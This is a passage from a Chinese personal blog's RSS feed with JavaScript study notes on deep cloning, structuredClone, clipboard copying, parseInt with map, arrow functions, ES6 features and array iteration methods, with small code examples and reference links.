</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kr">const</span> <span class="nx">loopList</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">parent</span><span class="o">:</span> <span class="nx">root</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nx">key</span><span class="o">:</span> <span class="kc">undefined</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nx">data</span><span class="o">:</span> <span class="nx">x</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="nx">loopList</span><span class="p">.</span><span class="nx">length</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// dfs
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="kr">const</span> <span class="nx">node</span> <span class="o">=</span> <span class="nx">loopList</span><span class="p">.</span><span class="nx">pop</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="kr">const</span> <span class="p">{</span><span class="nx">parent</span><span class="p">,</span> <span class="nx">key</span><span class="p">,</span> <span class="nx">data</span><span class="p">}</span> <span class="o">=</span> <span class="nx">node</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// 初始化赋值目标
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">parent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">key</span> <span class="o">!==</span> <span class="s1">&#39;undefined&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="nx">res</span> <span class="o">=</span> <span class="nx">parent</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="kd">let</span> <span class="nx">uniqueData</span> <span class="o">=</span> <span class="nx">find</span><span class="p">(</span><span class="nx">uniqueList</span><span class="p">,</span> <span class="nx">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nx">uniqueData</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 数据已经存在
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nx">parent</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="nx">uniqueData</span><span class="p">.</span><span class="nx">target</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 数据不存在
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nx">uniqueList</span><span class="p">.</span><span class="nx">push</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">            <span class="nx">source</span><span class="o">:</span> <span class="nx">data</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nx">target</span><span class="o">:</span> <span class="nx">res</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">});</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">k</span> <span class="k">in</span> <span class="nx">data</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">hasOwnProperty</span><span class="p">(</span><span class="nx">k</span><span class="p">)){</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">data</span><span class="p">[</span><span class="nx">k</span><span class="p">]</span> <span class="o">===</span> <span class="s1">&#39;object&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">                    <span class="nx">loopList</span><span class="p">.</span><span class="nx">push</span><span class="p">({</span>
</span></span><span class="line"><span class="cl">                        <span class="nx">parent</span><span class="o">:</span> <span class="nx">res</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nx">key</span><span class="o">:</span> <span class="nx">k</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nx">data</span><span class="o">:</span> <span class="nx">data</span><span class="p">[</span><span class="nx">k</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">                    <span class="p">});</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nx">res</span><span class="p">[</span><span class="nx">k</span><span class="p">]</span> <span class="o">=</span> <span class="nx">data</span><span class="p">[</span><span class="nx">k</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">root</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">find</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span> <span class="nx">item</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">source</span> <span class="o">===</span> <span class="nx">item</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="nx">arr</span><span class="p">[</span><span class="nx">i</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li>clone
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">clone</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">getPrototypeOf</span><span class="p">(</span><span class="nx">obj</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"><span class="nb">Object</span><span class="p">.</span><span class="nx">getOwnPropertyDescriptors</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="structuredclone"><code>structuredClone()</code></h3>
<ul>
<li>creates a deep clone of a given value using the structured clone algorithm.</li>
<li>能保留循环引用</li>
<li>clone不了的
<ol>
<li>函数不能被克隆</li>
<li>DOM 节点不能克隆</li>
<li>属性描述符 setter和getter 不能克隆</li>
</ol>
</li>
<li>参考
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/structuredClone"  target="_blank" rel="noopener" >Window: structuredClone() method - Web APIs | MDN</a></li>
<li><a href="https://blogweb.cn/article/2213672068912#heading-3"  target="_blank" rel="noopener" >你还在用传统方法进行深浅拷贝？教你一种更现代的方法！-网络日志</a></li>
</ul>
</li>
</ul>
<h3 id="参考-5">参考</h3>
<ul>
<li><a href="https://vue3js.cn/interview/JavaScript/copy.html"  target="_blank" rel="noopener" >面试官：深拷贝浅拷贝的区别？如何实现一个深拷贝？ | web前端面试 - 面试官系列</a></li>
</ul>
<hr>
<h2 id="复制">复制</h2>
<ul>
<li>
<p>参考 <a href="https://juejin.cn/post/6844903567480848391"  target="_blank" rel="noopener" >JavaScript复制内容到剪贴板 - 掘金</a></p>
</li>
<li>
<p>补充：</p>
<ol>
<li>上文主要是使用<code>document.execCommand('copy')</code>这个方法。但<a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand"  target="_blank" rel="noopener" >Document: execCommand() method - Web APIs | MDN</a>显示&quot;This feature is no longer recommended.&quot;。</li>
<li>那该怎么改呢？看<a href="https://stackoverflow.com/questions/60581285/execcommand-is-now-obsolete-whats-the-alternative"  target="_blank" rel="noopener" >execCommand() is now obsolete, what&rsquo;s the alternative? - Stack Overflow</a>的高票回答:</li>
</ol>
<blockquote>
<p>The execCommand() is officially obsolete/deprecated but there&rsquo;s no alternative.
Note that real world user agents (browsers such as Chrome, Firefox and Safari) cannot drop support for execCommand() because so many services require support for it.</p>
</blockquote>
<p>过几年再看看？</p>
</li>
</ul>
<hr>
<h2 id="读取剪贴板">读取剪贴板</h2>
<p>wip</p>
<hr>
<h2 id="javascript编程中常见的代码坏味道">JavaScript编程中常见的代码坏味道</h2>
<p>wip</p>
<h3 id="pyramid-of-doom厄运金字塔">Pyramid of doom（厄运金字塔）</h3>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Pyramid_of_doom_%28programming%29"  target="_blank" rel="noopener" >厄运金字塔（编程）- 维基百科 &mdash; Pyramid of doom (programming) - Wikipedia</a></li>
</ul>
<hr>
<h2 id="proxy">Proxy</h2>
<p>wip</p>
<h3 id="参考-6">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy"  target="_blank" rel="noopener" >Proxy - JavaScript | MDN</a></li>
<li><a href="https://segmentfault.com/a/1190000043453516"  target="_blank" rel="noopener" >javascript - Proxy详解 - 个人文章 - SegmentFault 思否</a></li>
</ul>
<hr>
<h2 id="reflect">Reflect</h2>
<p>wip</p>
<h3 id="参考-7">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Reflect"  target="_blank" rel="noopener" >Reflect - JavaScript | MDN</a></li>
</ul>
<h2 id="问题">问题</h2>
<ol>
<li>
<p>js到dom树的单向绑定</p>
</li>
<li>
<p><a href="https://blog.csdn.net/SpringRolls/article/details/116506148"  target="_blank" rel="noopener" >牛客网ACM模式下JavaScript(V8)常见输入输出练习_readline(&hellip;).split is not a function-CSDN博客</a></p>
</li>
<li>
<p><a href="https://juejin.cn/post/6979812535557963784"  target="_blank" rel="noopener" >JavaScript实现封装、继承、多态JavaScript实现封装、继承、多态 - 掘金</a></p>
</li>
<li>
<p><code>parseInt</code></p>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt"  target="_blank" rel="noopener" >parseInt() - JavaScript | MDN</a></li>
<li>示例代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;1&#39;</span><span class="p">,</span> <span class="s1">&#39;2&#39;</span><span class="p">,</span> <span class="s1">&#39;100&#39;</span><span class="p">].</span><span class="nx">map</span><span class="p">(</span><span class="nb">parseInt</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">res</span><span class="p">);</span> <span class="c1">// [1, NaN, 4]
</span></span></span></code></pre></div></li>
<li>解释
<ul>
<li>实际上 map 会传递三个参数给 parseInt，而 parseInt 只关心前两个参数：要解析的字符串和进制</li>
<li>因此解析过程如下:
<ol>
<li>对第一个元素 &lsquo;1&rsquo;，parseInt(&lsquo;1&rsquo;, 0)，0 表示根据输入自动检测进制，结果是 1。</li>
<li>对第二个元素 &lsquo;2&rsquo;，parseInt(&lsquo;2&rsquo;, 1)，1 不是有效的进制，因此结果是 NaN。</li>
<li>对第三个元素 &lsquo;100&rsquo;，parseInt(&lsquo;100&rsquo;, 2)，以二进制解析 &lsquo;100&rsquo;，结果是 4。</li>
</ol>
</li>
</ul>
</li>
</ul>
</li>
<li>
<p>箭头函数与普通函数的区别</p>
<ul>
<li>函数体内的 this 对象，就是定义时所在的作用域中的 this 值，而不是使用时所在的对象</li>
<li>不可以使用 arguments 对象，该对象在函数体内不存在。如果要用，可以用 rest 参数代替</li>
<li>不可以使用 yield 命令，因此箭头函数不能用作 Generator 函数</li>
<li>不可以使用 new 命令
<ul>
<li>没有自己的 this，无法调用 call，apply</li>
<li>没有 prototype 属性</li>
</ul>
</li>
<li>参考: <a href="https://github.com/Advanced-Frontend/Daily-Interview-Question/issues/101"  target="_blank" rel="noopener" >第 58 题：箭头函数与普通函数（function）的区别是什么？构造函数（function）可以使用 new 生成实例，那么箭头函数可以吗？为什么？ · Issue #101 · Advanced-Frontend/Daily-Interview-Question</a></li>
</ul>
</li>
<li>
<p>为什么会出现箭头函数</p>
<ul>
<li>消除函数的二义性
<ul>
<li>在出现箭头函数之前，函数可以直接被调用，也可以被new当作构造函数使用，这就是函数的二义性。</li>
<li>为了消除这种二义性，创造了箭头函数和class，箭头函数只能() =&gt; {}，当作普通函数调用，而class只能被new，这就刚好对应二义性的两种用法，解决这种复杂情况了</li>
</ul>
</li>
<li>解决了this的复杂指向问题</li>
</ul>
</li>
<li>
<p>ES6新特性</p>
<ul>
<li>引入了let和const</li>
<li>模板字符串: <code>${}</code></li>
<li>箭头函数</li>
<li>函数参数默认值，Rest参数</li>
<li>解构赋值</li>
<li>Promise</li>
<li>新增Map,Set,WeakMap,WeakSet</li>
<li>迭代器和生成器
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">arr</span> <span class="o">=</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">item</span> <span class="k">of</span> <span class="nx">arr</span><span class="p">){</span>
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">item</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>对象和类</li>
</ul>
</li>
<li>
<p>手撕</p>
<ul>
<li>参考
<ul>
<li><a href="https://juejin.cn/post/7210979444760772664"  target="_blank" rel="noopener" >面试中的手撕代码（一）总结了一些面面试中常见的手写代码题，如有更好见解欢迎评论指正~ - 掘金</a></li>
<li><a href="https://github.com/Sunny-117/js-challenges?tab=readme-ov-file"  target="_blank" rel="noopener" >Sunny-117/js-challenges: ✨✨✨ Challenge your JavaScript programming limits step by step</a></li>
<li><a href="https://github.com/Sunny-117/js-challenges/issues/37"  target="_blank" rel="noopener" >JSON2DOM = react的render函数 · Issue #37 · Sunny-117/js-challenges</a></li>
</ul>
</li>
</ul>
</li>
<li>
<p>实现继承</p>
</li>
</ol>
<ul>
<li>参考
<ul>
<li><a href="https://juejin.cn/post/7019185008527015949"  target="_blank" rel="noopener" >js中的6种继承方式 - 掘金</a></li>
</ul>
</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之Array</title>
      <link>https://euds.org/2024/javascript_points_of_array/</link>
      <pubDate>Sun, 25 Feb 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/javascript_points_of_array/</guid>
      <description>自己学习过程中整理的关于JavaScript中Array的知识点</description>
      <content:encoded><![CDATA[<h2 id="初始化">初始化</h2>
<h3 id="new">new</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 新建一个n行n列的二维数组
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">dp</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="nx">n</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="mi">0</span><span class="p">).</span><span class="nx">map</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="nx">n</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
</span></span></code></pre></div><h3 id="arrayfrom">Array.from</h3>
<ul>
<li>示例:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="nb">Array</span><span class="p">.</span><span class="nx">from</span><span class="p">({</span> <span class="nx">length</span><span class="o">:</span> <span class="mi">100</span> <span class="o">*</span> <span class="mi">1024</span> <span class="p">},</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">256</span><span class="p">))</span>
</span></span></code></pre></div><ul>
<li>格式</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">from</span><span class="p">(</span><span class="nx">arrayLike</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">from</span><span class="p">(</span><span class="nx">arrayLike</span><span class="p">,</span> <span class="nx">mapFn</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">from</span><span class="p">(</span><span class="nx">arrayLike</span><span class="p">,</span> <span class="nx">mapFn</span><span class="p">,</span> <span class="nx">thisArg</span><span class="p">)</span>
</span></span></code></pre></div><h3 id="参考">参考</h3>
<ul>
<li><a href="https://i.hsfzxjy.site/fast-conversion-from-base64-binary-to-uint8-array/"  target="_blank" rel="noopener" >将 Base64 编码的数据快速转换为 Uint8Array</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from"  target="_blank" rel="noopener" >Array.from() - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="遍历数组">遍历数组</h2>
<h3 id="foreach"><code>forEach</code></h3>
<ul>
<li><code>Array.prototype.forEach(function(value, index, arr), thisValue)</code></li>
<li>对数组的每个元素执行一次给定的函数。</li>
<li>forEach() 期望的是一个同步函数，它不会等待 Promise 兑现</li>
<li>除了<strong>抛出异常</strong>之外，没有其他方法可以停止或中断 forEach() 循环,也就是说不能在 forEach 中使用 break、continue 或 return</li>
<li>callbackFn 仅对已赋值的数组索引调用。对于稀疏数组中的空槽，它不会被调用。</li>
<li>forEach() 不会改变其调用的数组，但是，作为 callbackFn 的函数可以更改数组。请注意，在第一次调用 callbackFn 之前，<strong>数组的长度已经被保存</strong>。因此：
<ol>
<li>当调用 forEach() 时，callbackFn 不会访问超出数组初始长度的任何元素。</li>
<li>已经访问过的索引的更改不会导致 callbackFn 再次调用它们。</li>
<li>如果 callbackFn 更改了数组中已经存在但尚未访问的元素，则传递给 callbackFn 的值将是在访问该元素时的值。已经被删除的元素不会被访问。</li>
</ol>
</li>
</ul>
<h3 id="every"><code>every</code></h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">a</span> <span class="o">=</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">every</span><span class="p">((</span><span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">value</span> <span class="o">&gt;</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="c1">//判断数组元素是否都大于-1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">a</span><span class="p">);</span><span class="c1">//true
</span></span></span></code></pre></div><h3 id="some"><code>some()</code></h3>
<p>wip</p>
<h3 id="filter"><code>filter()</code></h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">newArr</span> <span class="o">=</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">filter</span><span class="p">((</span><span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">value</span> <span class="o">&gt;</span> <span class="mi">3</span><span class="p">)</span> <span class="c1">//判断数组元素是否大于3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">newArr</span><span class="p">);</span> <span class="c1">//[ 4, 5, 6, 7 ]
</span></span></span></code></pre></div><h3 id="map"><code>map()</code></h3>
<ul>
<li>不改变原数组
<ul>
<li>指的是不改变数组内部元素的个数和顺序，而不是元素本身的属性</li>
</ul>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">newArr</span> <span class="o">=</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">value</span> <span class="o">*</span> <span class="mi">2</span><span class="p">)</span> <span class="c1">//将数组中每一个元素都乘以2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">newArr</span><span class="p">);</span> <span class="c1">//[0,  2,  4,  6, 8, 10, 12, 14]
</span></span></span></code></pre></div><h3 id="reduce"><code>reduce()</code></h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">array</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">sumWithInitial</span> <span class="o">=</span> <span class="nx">array</span><span class="p">.</span><span class="nx">reduce</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="nx">previousValue</span><span class="p">,</span><span class="nx">currentValue</span><span class="p">,</span><span class="nx">currentIndex</span><span class="p">)</span> <span class="p">=&gt;</span> 
</span></span><span class="line"><span class="cl">        <span class="nx">previousValue</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="nx">currentValue</span> <span class="o">-</span> <span class="nx">currentIndex</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">sumWithInitial</span><span class="p">)</span> <span class="c1">// 63
</span></span></span></code></pre></div><h3 id="forin-和-forof"><code>for...in</code> 和 <code>for...of</code></h3>
<ul>
<li>对于数组: <code>for in</code>遍历的是index，<code>for of</code>遍历的是&quot;value&quot;
<ul>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// for...in循环遍历数组的索引
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">index</span> <span class="k">in</span> <span class="nx">arr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">index</span><span class="p">);</span> <span class="c1">// 输出 0, 1, 2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// for...of循环遍历数组的值
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">value</span> <span class="k">of</span> <span class="nx">arr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">value</span><span class="p">);</span> <span class="c1">// 输出 1, 2, 3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
</li>
<li>for..in的缺陷
<ol>
<li>会迭代继承的属性,可以使用<code>obj.hasOwnProperty(key)</code>进一步判断
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">customMethod</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">10</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">30</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">index</span> <span class="k">in</span> <span class="nx">arr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">index</span><span class="p">);</span>  <span class="c1">// 输出 0, 1, 2 , customMethod
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
<li>遍历的是字符串类型的索引
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">10</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">30</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">index</span> <span class="k">in</span> <span class="nx">arr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">index</span><span class="p">);</span>  <span class="c1">// 输出 &#34;string&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
<li>不适合遍历稀疏数组
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">10</span><span class="p">,</span> <span class="p">,</span> <span class="mi">30</span><span class="p">];</span>  <span class="c1">// 稀疏数组
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">index</span> <span class="k">in</span> <span class="nx">arr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">index</span><span class="p">);</span>  <span class="c1">// 输出 0, 2 （不会跳过稀疏部分）
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
</ol>
</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
